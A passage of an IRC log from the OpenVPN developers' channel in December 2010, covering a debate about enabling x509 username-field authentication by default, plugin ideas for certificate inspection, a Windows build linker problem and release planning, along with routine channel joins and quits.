what to beware of when using stacked or chained certificates, and how to do it properly 05:01 <@dazo> krzie: janjust wrote it on Friday, I believe 05:01 < common> I was asking for more issues, not questioning the writeup in any way 05:02 <@dazo> and that write-up explains the issues, quite clearly IMO 05:02 < common> my point is, allowing other fields than CN to be used for authentication does not change anything regarding the cert chains 05:03 <@jamesyonan> agreed 05:03 <@dazo> fair point ... and that is correct 05:03 < common> so why did you want to disable it by default? 05:04 <@dazo> because this is a feature a minor group of users will need ... and especially in the embedded world where every bytes count 05:07 <@jamesyonan> doesn't it make sense though that the user should make their own decision about what they want to include -- like when building a linux kernel or similar where there is a wide range of requirements for features vs. minimal code size? 05:07 < common> most users run the easy-ca, as they can't use cacert certificates for example, as the CN can not be used with openvpn 05:08 < common> I'm talking about day-by-day use, where people grab openvpn from their package repository, and want it to the the job 05:09 < common> embedded use, fine optional disable will work too 05:09 < krzie> a guy on the forum says that the microsoft CA software cannot manage 2 CA's, so would like to auth based on another field 05:09 < krzie> he encountered this while trying to document using microsoft CA software to manage the ovpn CA 05:10 < krzie> of course thats a piece of MS lamesauce 05:10 < common> forcing people to compile the software on their own for basic features is not a sane default 05:10 <@jamesyonan> I don't want to be dogmatic about it -- but I think if you want to include something by default there needs to be community support for it. 05:11 <@dazo> and in fact, disabling new features by default is according to our patch quality guidelines as well. We failed doing that when initially when including the --x509-username-field feature, and my patch which got accepted on Friday solved that issue 05:11 <@dazo> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Patchquality ::: New features need to make use of #ifdef's so that they can be disabled at compile-time. This is to enable better support for embedded systems and to track which code belongs to which feature. 05:11 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 05:11 * dazo heads out for lunch 05:12 < common> I'm not questioning the preprocessor, I'm just saying "if it works, make it available by default" 05:12 < common> for example the PF thing in openvpn, disabled by default, requires a c module to enable, nobody uses it 05:12 < common> even though it would make a really cool feature 05:13 < krzie> or at least in windows builds, since thats such a pita to recompile (often get requests for copies with enable-passsword-save enabled) 05:13 <@jamesyonan> how would the linux kernel handle something like this? 05:15 < common> most distributions go for the user-experience, so they enable everything by default - "just in case ..." 05:16 < common> if I need special software on a production machine 05:16 < common> where special is either with patches of different featureset 05:17 < common> I have to get a build-host, create debian packages on the build host, which has to match the architecture, create the packages, archive the package specs, build the package, copy, install 05:18 < common> as there is no compiler on the production machines 05:20 < common> which is why I prefer a full-featured default, with opt-outs for features if you go for embedded systems 05:20 < common> in case of embedded software, you'll compile your own version anyway 05:21 <@jamesyonan> common: why don't you pose this question to the mailing lists: should OpenVPN, by default, compile to a "fat" configuration. 05:23 < krzie> arent most options enabled by default? 05:25 < common> I got the idea you are the man to decide, and you are not that active on -devel, so why sent a mail to the ml? 05:30 <@jamesyonan> On an issue like this, I would want to gauge the support of other members of the community, that's why I think it would be a good idea to pose the question to the MLs. 05:34 <@jamesyonan> personally, I like the work you've done -- it would be great if we could formulate a set of options that would give full access to all of the x509 fields 05:36 < common> actually I really doubt thats possible without a scripting interface which can access the certificate directly 05:36 <@jamesyonan> but my concern is mostly about bloat -- OpenVPN is a mature project and we need to be careful about adding too much by default unless there is a consensus in the community that it should be done 05:39 <@jamesyonan> what about adding a plugin method that would be passed the whole X509 chain? 05:40 < common> plugin -> c 05:40 < common> force people to compile custom c code to access certificates? 05:40 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 05:41 <@jamesyonan> no, allow people to write c code so that they can do arbitrary certificate examination/verification 05:41 < common> I'd think about embedding python, pyopenssl is rather powerful and there is little which can go wrong in regards to memory leaks/access 05:42 < common> and 05:42 < common> never forget 05:42 < common> it is not only certificate verification 05:42 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 05:42 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 05:42 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:42 < common> it is setting the common_name too 05:42 < common> which has impact when used without duplicate-cn 05:42 <@jamesyonan> yes, I use pyopenssl a lot 05:43 < common> this one sucks https://bugs.launchpad.net/pyopenssl/+bug/385178 05:43 <@vpnHelper> Title: Bug #385178 in pyOpenSSL: “Extended certificate verification options and some extensions to PKCS#7 API” (at bugs.launchpad.net) 05:43 < common> but ... still better than having to mess with cert chains with openssl api directly 05:44 <@jamesyonan> OpenSSL is such a large library, and there's a lot that pyopenssl doesn't wrap yet 05:46 < common> sure, if you are not covered by pyopenssl, you still have to write custom c to the plugin interface 05:47 <@jamesyonan> I've written patches for pyopenssl to do RSA signing/verification -- there's so much stuff that's still not included 05:47 < common> but a plugin which embeds python would catch many 05:47 <@jamesyonan> I wonder if it might be better to consider using ctypes as a python <-> OpenSSL interface 05:48 < common> you'd loose the oo aspect 05:48 < common> but of course possible too 05:48 <@jamesyonan> no, ctypes is very good about preserving oo aspect 05:49 <@jamesyonan> I have yet to find a C header file that cannot be translated into ctypes 05:50 < common> I was more thinking of iterating properties of a cert like a list/set/dict 05:51 <@jamesyonan> all this stuff you can do with either extension modules or ctypes, but with ctypes you don't have to deal with reference counting gotchas, etc. 05:55 <@jamesyonan> anyway, I've gotta get some sleep -- it's 5am here 05:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:32 <@mattock> dazo: finally end of the email hell :) 06:32 <@dazo> \o/ :) 06:32 <@mattock> will check the VClinker issue 06:32 <@mattock> VC linker 06:32 <@dazo> cool! would be good to kill that one :) 06:37 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:37 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Client Quit] 06:38 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:38 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 06:38 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:39 <@mattock> ok, so here's the current msvc.mak.in (Visual Studio C compiler makefile): http://pastie.org/1391817 06:39 <@mattock> the relevant section is line 111 06:39 <@dazo> yeah? 06:40 <@mattock> so right now it only compiles openvpnserv.c and service.c, but does not make an executable out of them 06:40 <@mattock> so with this makefile everything works, except that an EXE is not produced 06:40 <@dazo> aha 06:40 <@dazo> try copying line 103 and 105 to below 111 06:40 <@mattock> prior to this I tried using the same syntax as on lines 101-107, but failed 06:41 <@dazo> youyou need to replace $(OBJS) with $(SERVOBJS) 06:41 <@mattock> I did 06:41 <@mattock> everything was supposed to be in order 06:41 <@mattock> but it apparently could not find the correct include files or something 06:41 <@dazo> what's the error you get? 06:42 <@mattock> I got to put back the old makefile code first... just a sec 06:44 <@mattock> building... 06:48 <@mattock> ok, here's a screenshot: http://users.utu.fi/sjsepp/tmp.png 06:49 <@mattock> and the relevant section of the makefile here: http://pastie.org/1391848 06:50 <@mattock> so, the "openvpnserv" object depends on "openvpn" object 06:50 <@mattock> and compiles $SERVOBJS (=service.c and openvpnserv.c) 06:50 <@mattock> and then the linker tries to link these two $SERVOBJS together into one exe 06:50 <@mattock> but fails with the error message in the screenshot 06:52 <@mattock> I was just wondering what exactly openvpnserv.exe should contain? Does it need service.c to work properly? 06:52 <@mattock> or only the include file (service.h) to compile? 06:59 <@dazo> mattock: try to change line one to say: 06:59 <@dazo> openvpnserv : $(SERVOBJS) 06:59 <@mattock> that removes the dependency on the openvpn target... is that the idea? 07:02 <@dazo> kind of .... you have this line: $(LINK32) @<< 07:02 <@dazo> iirc, that takes all the dependencies specified and runs them through the linker 07:03 <@dazo> and to relink openvpn.exe again this way, sounds a bit odd to me 07:06 <@mattock> same error, now it just tries compiling and linking the $(SERVOBJS) first (before openvpn 07:07 <@mattock> I'll eat some lunch and continue afterwards 07:09 <@dazo> hmm 07:09 <@dazo> looks like there are so missing library dependencies then 07:11 <@dazo> mattock: http://www.codeguru.com/forum/archive/index.php/t-176029.html ... look at the very last post 07:11 <@vpnHelper> Title: Linking Errors [Archive] - CodeGuru Forums (at www.codeguru.com) 07:11 <@dazo> http://social.msdn.microsoft.com/Forums/en/Vsexpressvc/thread/0aee95df-3574-4bd9-9286-8d4b214244e9 07:12 <@dazo> seems to be related to missing external libraries 07:30 <@mattock> yeah, that's what I thought, too 07:30 <@mattock> I'll check the links out, thanks! 07:58 <@mattock> adding $(LIBS) to openvpnserv linker options solves the issue, but it's still missing something 08:25 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:59 <@mattock> dazo: the WinXP build computer decided to drop off the VPN :( 08:59 <@dazo> :( 08:59 <@mattock> for some reason it sometimes does that and then just starts responding again 08:59 <@mattock> however, there's no way I can fix the openvpnserv issue today (got to go in ~30mins) 09:00 <@mattock> should we tag the rc nevertheless? 09:01 <@dazo> mattock: well, I would be more calm if we could build the 2.2-RC ourselves without james help 09:01 <@dazo> mattock: but I do understand the time constraint 09:02 <@mattock> agreed... 09:02 <@dazo> mattock: what if we postpone the tagging until 27-28th ... and see how far we've come? 09:03 <@mattock> sounds good... I'll be working on 23th - 26th 09:03 <@dazo> okay, then that's the plan ... to try to build 2.2 ourselves ... and RC will include those needed patches 09:04 <@mattock> yeah, the problem is that even if I get openvpnserv.exe to build, I got to create a fresh branch and port my changes there 09:04 <@mattock> and provide patches that can be ACKd 09:04 <@mattock> current branch is very messy 09:05 <@mattock> then there are some decisions we need to make... for example, I've moved stuff from $BUILDROOT/service-win32 to $BUILDROOT to make things simpler and less error-prone 09:06 <@mattock> but moving that stuff breaks the mingw32 builds 09:06 <@mattock> and copying is silly 09:06 <@mattock> and also, the service.h (or was it service.c) was refering to config.h, whereas config-win32.h needs to be used 09:06 <@mattock> in a nutshell, all sorts of nastiness :) 09:07 <@mattock> also, we need to get somebody to test the Windows installers before release... I don't feel at all confident that they work 100% ok on all platforms 09:08 <@mattock> they might, but how knows? 09:08 <@mattock> also, we need to somehow use the (signed) drivers from latest release by James 09:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:42 <@dazo> hmm 12:07 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 12:35 -!- dazo is now known as dazo_afk 13:00 -!- Essobi [~kstone@pixout.appriss.com] has joined #openvpn-devel 13:00 < Essobi> *YAWN* 13:00 < Essobi> Afternoon. 13:02 -!- Essobi [~kstone@pixout.appriss.com] has quit [Client Quit] 13:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:29 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:44 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:05 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 14:10 -!- Essobi_ [~kstone@pixout.appriss.com] has joined #openvpn-devel 14:10 < Essobi_> howdy 15:41 <@jamesyonan> Essobi_: did you ever get around to writing up FIPS notes? 16:05 -!- Essobi_ [~kstone@pixout.appriss.com] has quit [Remote host closed the connection] 17:47 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 18:43 -!- s7r [~s7r@95.154.230.49] has joined #openvpn-devel 20:28 -!- s7r [~s7r@95.154.230.49] has left #openvpn-devel [] --- Day changed Tue Dec 21 2010 00:35 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 00:35 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 00:35 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:37 < krzie> omg we need more people to answer on the forums, lol 02:37 < krzie> im somewhere between a lil burnt out and busy as hell, those things just pile up 02:45 -!- dazo_afk is now known as dazo 02:45 <@cron2> mornin' 02:46 < krzie> moinmoin 03:56 -!- d457k [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 03:59 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:31 -!- common [~common@p5DDA4ADF.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:34 -!- common [~common@p5DDA4864.dip0.t-ipconnect.de] has joined #openvpn-devel 05:02 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:02 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:02 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:04 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 05:04 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:04 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:04 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:18 -!- raomin [~romain@86.66.22.240] has joined #openvpn-devel 05:21 < raomin> d12fk: Hi ! can you tell me if your current version of the GUI detects when the service stops ? 05:28 <@d12fk> raomin: i haven't changed anything regarding the service, yet. so, if the behavior schould be the same as in the old version. 05:29 < raomin> d12fk: ok so it doesn't... It seems that the openvpn service doesn't stops when the openvpn process is killed either... 07:41 * janjust wakes up ecrist 07:42 * janjust also tries to wake dazo 07:43 * dazo grumbles who dares to wake him up from daydreaming at his work :-P 07:43 <@dazo> hey, janjust! 07:43 < janjust> hehe dazo... just got a quick question related to how this channel works 07:43 < janjust> wazzup dazo :) 07:44 * dazo is looking fwd for Christmas holiday soon ... and he is counting hours :) 07:44 < janjust> hehe, me too, dazo, me too. it's far too cold for me around here 07:44 <@dazo> heh 07:45 <@dazo> so you want to increase the heat in this channel .... :) not sure I grasped your quick question .... 07:45 < ecrist> what's up? 07:45 <@dazo> (anyhow, you give splendid help on #openvpn!) 07:45 < janjust> nothing much ecrist , whassup with you 07:46 < ecrist> nm, getting heated at work, and only been here for 46 mins. 07:46 < janjust> you only start working at 2 :P ? 07:46 < ecrist> exactly! 07:47 <@dazo> In Czech ... they dislike the cold, so they heat a lot in the office .... which makes me sleepy .... 07:47 < janjust> ecrist, didn't you give me the cloak for this channel? 07:47 <@dazo> * [janjust] (~janjust@openvpn/community/support/janjust): Jan Just Keijser 07:48 <@dazo> I see the cloak ... 07:48 < ecrist> you have a cloak, it's visible on ALL channels on the entire network. 07:48 < ecrist> that cloak doesn't have access, currently, on this channel, but I'm not opposed to setting it up 07:49 < janjust> no need for that, I was just wondering what I was doing wrong 07:50 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 07:52 < janjust> thx all, you can go back to sleep now ;-) 07:53 <@dazo> gah ... what's wrong with people ... should we sleep on command too now?!? :-P 07:53 <@dazo> ;-) 07:53 < janjust> hehe I don't need to be told to go to sleep ;-) 07:54 <@dazo> hmmm ... My wife sometimes tries to do that ... she claims she sees a need for me to get sleep sometimes ... :-P 07:55 < janjust> who needs sleep when you can play World of Warcraft all night long 07:55 <@dazo> or write code ;-) 07:55 <@dazo> nah ... sleeping time anyway ... phone meeting soon 07:55 <@dazo> :) 08:06 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:27 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 0 voices, 11 normal] 08:28 !services. [ChanServ:#openvpn-devel] ecrist set flags +vOtsr on *!*@openvpn/*/developer/*. 08:32 !services. [ChanServ:#openvpn-devel] ecrist set flags +vVotsrifA on *!*@openvpn/*/support/*. 08:33 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 0 voices, 11 normal] 08:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 08:45 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 08:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 276 seconds] 10:57 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:57 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:58 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 10:58 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 10:58 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:27 -!- dazo is now known as dazo_afk 11:31 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:11 <@patelx> krzie 13:11 <+krzie> patelx! 14:26 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:44 -!- s7r [~s7r@213.229.116.239] has joined #openvpn-devel 18:32 -!- s7r1 [~s7r@89.39.174.74] has joined #openvpn-devel 18:32 -!- s7r1 [~s7r@89.39.174.74] has left #openvpn-devel [] 18:33 -!- s7r [~s7r@213.229.116.239] has quit [Ping timeout: 265 seconds] 23:13 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:13 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed Dec 22 2010 02:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 04:30 -!- common- [~common@p5DDA4901.dip0.t-ipconnect.de] has joined #openvpn-devel 04:33 -!- common [~common@p5DDA4864.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:33 -!- common- is now known as common 06:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 260 seconds] 06:06 -!- vpnHelper [~vpn@butters.secure-computing.net] has joined #openvpn-devel 06:06 -!- vpnHelper [~vpn@butters.secure-computing.net] has quit [Changing host] 06:06 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:42 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 11:44 < ecrist> Essobi: did you ever get me a writeup on FIPS for openvpn-devel port? 13:48 -!- Essobi_ [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:51 -!- Essobi_ [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Remote host closed the connection] 13:51 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Remote host closed the connection] 13:52 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:59 < Essobi> Merry Xmas! 14:17 < ecrist> yo 14:25 < ecrist> you're a little early, Essobi 14:41 < Essobi> ;) 14:41 < Essobi> Vacation started early. :) 14:57 < Essobi> 9/11 14:57 < Essobi> woops 15:00 < krzee> merry hohoho 17:01 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 18:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:46 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: No route to host] 20:13 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: ecrist] 20:15 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:15 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:54 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Thu Dec 23 2010 03:25 <@cron2> moin 04:30 -!- common- [~common@p5DDA4718.dip0.t-ipconnect.de] has joined #openvpn-devel 04:32 -!- common [~common@p5DDA4901.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:32 -!- common- is now known as common 04:42 <+krzee> main 04:42 <+krzee> moin* 04:57 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 04:57 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 06:45 <@cron2> are we having a meeting tonight? 07:57 -!- phessler [~phessler@gir.theapt.org] has joined #openvpn-devel 08:06 < phessler> hi guys. I create installable packages for my users to easily install the configuration and keys. 08:06 < phessler> however, my normal windows install technique doesn't apply to the new openvpn.net community windows installer. 08:07 < phessler> is there a reference for the instal profile file format? 09:20 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 09:54 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 10:03 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:05 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:15 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 14:15 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 14:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:17 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 14:17 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 14:17 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:57 -!- pcplukas [~lukas@gufi.eu] has joined #openvpn-devel 14:57 < pcplukas> hello 14:58 < pcplukas> is it possible changing the TAP interface to work with 100mbps? not only 10mbps (windows OS) 15:03 <+krzee> thats just a display issue 15:03 <+krzee> it *says* 10mbit, that is all 15:04 < pcplukas> i can't download faster then 10mb via tap interface 15:05 <+krzee> everyone else can 15:05 <+krzee> setup 2 windows machines on the same lan, use dev tun, see what you can xfer using ftp 15:05 < pcplukas> hmm 15:07 < pcplukas> can i stay here until tomorrow? 15:08 < pcplukas> i do some experience tomorrow at work 15:08 <+krzee> doesnt bother me any... although really this sort of stuff should be in #openvpn 15:09 < pcplukas> i take this channel from openvpn.net 15:09 < pcplukas> the developer IRC channel (#openvpn-devel at irc.freenode.net). 15:10 <+krzee> yes, are you planning on writing some code or getting support? 15:10 <+krzee> ;] 15:12 < pcplukas> i dont have enough experience 15:12 < pcplukas> ;) 15:12 < pcplukas> ok, thanks a lot 15:14 <+krzee> np =] 15:14 < pcplukas> merry christmas if you celebrate 15:14 -!- pcplukas [~lukas@gufi.eu] has left #openvpn-devel [] 15:14 <+krzee> same to you! 19:27 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 19:32 -!- Netsplit *.net <-> *.split quits: Essobi, @cron2 19:33 -!- Netsplit over, joins: Essobi 21:51 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:51 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:52 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] --- Day changed Fri Dec 24 2010 03:00 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:00 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 04:31 -!- common- [~common@p5DDA4984.dip0.t-ipconnect.de] has joined #openvpn-devel 04:34 -!- common [~common@p5DDA4718.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 04:34 -!- common- is now known as common 09:20 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 12:03 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:03 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:48 -!- agi [~agi@85.13.243.26] has quit [Ping timeout: 272 seconds] 13:03 -!- s7r [~s7r@212.78.230.250] has joined #openvpn-devel 13:13 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:30 -!- s7r1 [~s7r@89.39.174.74] has joined #openvpn-devel 13:31 -!- s7r1 [~s7r@89.39.174.74] has left #openvpn-devel [] 13:33 -!- s7r [~s7r@212.78.230.250] has quit [Ping timeout: 264 seconds] 16:43 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 16:43 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 16:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:54 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel --- Day changed Sat Dec 25 2010 04:31 -!- common- [~common@p5DDA4326.dip0.t-ipconnect.de] has joined #openvpn-devel 04:34 -!- common [~common@p5DDA4984.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:34 -!- common- is now known as common 08:01 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 08:01 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 08:01 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 14:36 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:32 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 16:09 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+v roentgen] by ChanServ --- Log closed Sat Dec 25 18:33:46 2010 --- Log opened Sat Dec 25 18:33:54 2010 18:33 -!- ecrist_ [~ecrist@216.17.68.153] has joined #openvpn-devel 18:33 -!- Irssi: #openvpn-devel: Total of 23 nicks [6 ops, 0 halfops, 1 voices, 16 normal] 18:34 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 18:39 -!- Netsplit *.net <-> *.split quits: ecrist, chantra_afk, cron2_, @dazo_afk 20:39 < Essobi> Merry Christmas. --- Day changed Sun Dec 26 2010 02:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:32 -!- common- [~common@p5DDA49AB.dip0.t-ipconnect.de] has joined #openvpn-devel 04:36 -!- common [~common@p5DDA4326.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 04:36 -!- common- is now known as common 09:37 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 09:46 -!- s7r [~s7r@178.73.198.16] has joined #openvpn-devel 11:16 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:28 -!- You're now known as ecrist 12:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 12:32 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:39 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 13:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 14:40 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 16:46 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 16:46 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 17:52 -!- s7r [~s7r@178.73.198.16] has left #openvpn-devel [] --- Day changed Mon Dec 27 2010 00:44 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 02:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:57 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 04:07 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 04:08 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:08 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:16 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 04:16 -!- mode/#openvpn-devel [+o d457k] by ChanServ 04:17 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 04:33 -!- common- [~common@p5DDA475E.dip0.t-ipconnect.de] has joined #openvpn-devel 04:36 -!- common [~common@p5DDA49AB.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 04:36 -!- common- is now known as common 05:56 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 06:16 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 06:16 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 07:35 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 07:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 07:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit 